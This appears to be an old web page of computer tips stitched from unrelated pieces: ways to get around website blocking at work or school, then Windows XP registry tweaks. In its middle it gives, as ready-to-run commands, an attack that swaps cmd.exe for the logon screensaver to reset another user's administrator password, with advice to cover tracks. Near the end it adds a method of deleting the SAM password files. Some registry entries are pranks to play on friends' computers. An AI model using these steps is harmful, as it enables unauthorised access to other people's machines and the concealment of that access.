How to Unblock Websites

f you search the web from your company's office, school or public library, you have probably already realized that many of the most popular or slightly off color web sites have been blocked. Web sites that have been blocked can include Myspace.com, Youtube.com, your favorite forum and even many entertainment/gossip sites that offer blue humor or offensive comments. If you want to take back your web and once again regain full access to the internet, you will have to unblock web sites.

How Web Sites are Blocked

In order to explain how to unblock web sites, it is important to understand how specific web sites first become blocked.

Blocked web sites are usually the result of special software that is loaded onto your computer that works with your internet browser such as Microsoft Internet Explorer, in which you can adjust the options to allow or block specific web sites.

In addition, when it comes to large computer networks (like the ones you might find at your corporate office or school), a firewall is usually involved and this resource is also used to block specific web sites of the organization's choosing.

While it is fairly easy to block web sites, unblocking web sites can sometimes be a difficult task to achieve. However, following are a few tips that will definitely level the playing field, giving you the ability to access almost any blocked web site.

How to Unblock a Website

Unblocking a web site can be accomplished whether you are at the office, at a school computer or using a public computer at some libraries or internet cafes. In order to unblock a web site you have to some way circumvent or disable the web site blocking software, the web browser or the firewall that is being used to block a web site. There are a few strategies to accomplish this task.

Proxy Servers (Anonymizers)

Proxy servers (sometimes called web site anonymizers because they make the computer user anonymous) circumvent filters on the computer or even the firewall due to the way these sites operate. Proxy servers are computers outside your company's firewalls easily accessed via the internet. They have their own IP address and are able to be controlled via your computer. Your computer connects to a proxy server and the proxy server is the computer that makes the connection with the blocked web site. The proxy server then shows you the contents of the page. You can view the web site and even interact with the web site through the proxy server- even though it is blocked by your computer or firewall. This is achieved because it is not your computer interacting with the web site, but a third party – the proxy server that makes the connection with the blocked site.

Here are some web sites where you can find lists of proxy servers:

• Proxy
• Proxy
• Proxy List
• Proxies
• Proxy Websites
• Proxy Sites
• Proxies

Change Settings on an Individual Computer

This tip on unblocking a web site usually only works on individual computers that connect directly to the internet. If you are using a computer on a network connected to a firewall overseen by an administrator – the chances are that this strategy will not be effective.

Obviously if you are an individual computer that has either special blocking software or browser options set to block a specific web site, you may be able to change the setting or disable the blocking software. If the browser you are using is blocking your web site, you will be able to easily change the settings, usually by clicking the tools tab and reconfiguring the options or security tabs located in the browsers. Another work around for a browser that is blocking your web site is to download and use a different browser. For those that have MS Internet Explorer, simply download and use Firefox or vice versa.

For those that are working on an individual computer with special software used to block your web site, you will need to somehow disable the software. You can delete the software, stop the software from loading the next time you start up the computer, or shutdown the software while it is running using the CTRL+ALT+DEL keys (please note: these techniques might not work for all software programs).

Use the IP Address Instead of URL

In some cases, it is possible to type in the IP address instead of using the URL. The URL is the written web address (e.g., www.mywebsite.com). However, even though we type in letters or words into our browser, the internet and World Wide Web translate these URLs into an IP address such as 99.121.224.67. Sometimes the software or browser will not block an IP, however if your software is able to map the IP address using a reverse DNS look up your site will ultimately stay blocked.

Use URL Redirects

There are a few web sites that offer URL redirects. For instance, you can create a new URL for the blocked web sites using these redirect services. Once you create a redirect, enter the new URL and have the service forward you to the blocked web site. In certain situations these new URLs are redirected and do not change allowing you to access banned sites. Two types of redirection services include Tinyurl.com and Snipurl.com

Unblock a Web site using Google

There are many tools or services that Google offers that can help you access blocked web sites. Practically every computer allows you to access Google making these strategies quite attractive.

Google Cache

Instead of going directly to the web site using the URL, go to the home page of Google and search for the web site or web site page you want to access. Once Google shows you the possible choices that are indexed, choose to retrieve the blocked web page using Google's cache copy of the page. Since these pages are copied into Google's database, in most cases the site will not be blocked.

Google Mobile Search

Google's Mobile search can help one circumvent a blocked site. When Google translates a normal HTML web page into a mobile page it removes certain parts of the web page (CSS scripts and JavaScript's) it also reconfigures the sites view to make a large page into smaller sized pages. During this translation process, it is possible that many block software programs will not be able to recognize the page as being one that should be blocked.

Google Proxy

We all know that Google is not specifically a proxy, but it can be used for much more than just searching the internet. Below is a code that uses Google's language translation tool. When Google translates a web site into a different language it acts as a go-between (similar to a proxy server). The code below which comes from the site www.oreillynet.com will translate any web page into English. Meaning you can translate a web paged in English back to English using Google as a proxy like tool. Just change the URL (forbiddensite.com) with the site that you are trying to gain access to.
http://www.google.com/translate?langpair=en|en&u=www.forbiddensite.com

computer - tips and tricks

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.

Another way ...

Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.